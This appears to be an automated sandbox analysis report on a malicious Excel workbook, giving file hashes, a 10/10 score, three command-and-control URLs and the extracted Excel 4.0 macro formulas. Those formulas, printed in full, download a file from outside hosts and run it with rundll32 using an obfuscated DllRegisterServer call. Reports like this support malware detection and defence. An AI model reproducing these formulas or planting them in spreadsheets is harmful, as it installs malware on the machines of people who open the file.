Overview

overview

10

Static

static

10

y5413818xlsm.xlsm

windows7-x64

10

y5413818xlsm.xlsm

windows10-2004-x64

10

Sharing

Copy URL Twitter E-mail

General

  • Target

    y5413818xlsm.xlsm

  • Size

    83KB

  • MD5

    1c31393f6c0ebc35228585822ff82fea

  • SHA1

    09612ba6b69327e46049f3200d96634e2267cc75

  • SHA256

    a0eacf656900552c56c986b37f31393346ec3d6cf406724b775a6ca9e166502b

  • SHA512

    ac6cb32c2e6a567900d8d65d7f7438bc51b6ce138c58ff06994416c86a68344a195d4dd98d6fda0a5f9fb1cfae668005b9c6d717af1a0c755ee75008e1711e02

  • SSDEEP

    1536:OW5FiLysqxG/+CbEcWeu3XDXeoiHwt/uE1d7mT6SrPag3HtQVASgV+:t5kiG/+CbE9H78wt2E1d7e6STa6SH

Score
10/10
macroxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://badmakeup.biz/dhl/3ez4GMS65Gk6Bgxd/

http://91xxxooo.com/get/hRG6d/

http://hordlepc.com/rootF0x-uyxab/YW8UUhCWN/
Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://badmakeup.biz/dhl/3ez4GMS65Gk6Bgxd/","..\erum.ocx",0,0) =IF('EWDFFEFAD'!E18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://91xxxooo.com/get/hRG6d/","..\erum.ocx",0,0)) =IF('EWDFFEFAD'!E20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hordlepc.com/rootF0x-uyxab/YW8UUhCWN/","..\erum.ocx",0,0)) =IF('EWDFFEFAD'!E22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\rundll32.exe ..\erum.ocx,D""&""l""&""lR""&""egister""&""Serve""&""r") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

    macroxlm

Files

  • y5413818xlsm.xlsm
    .xlsm office2007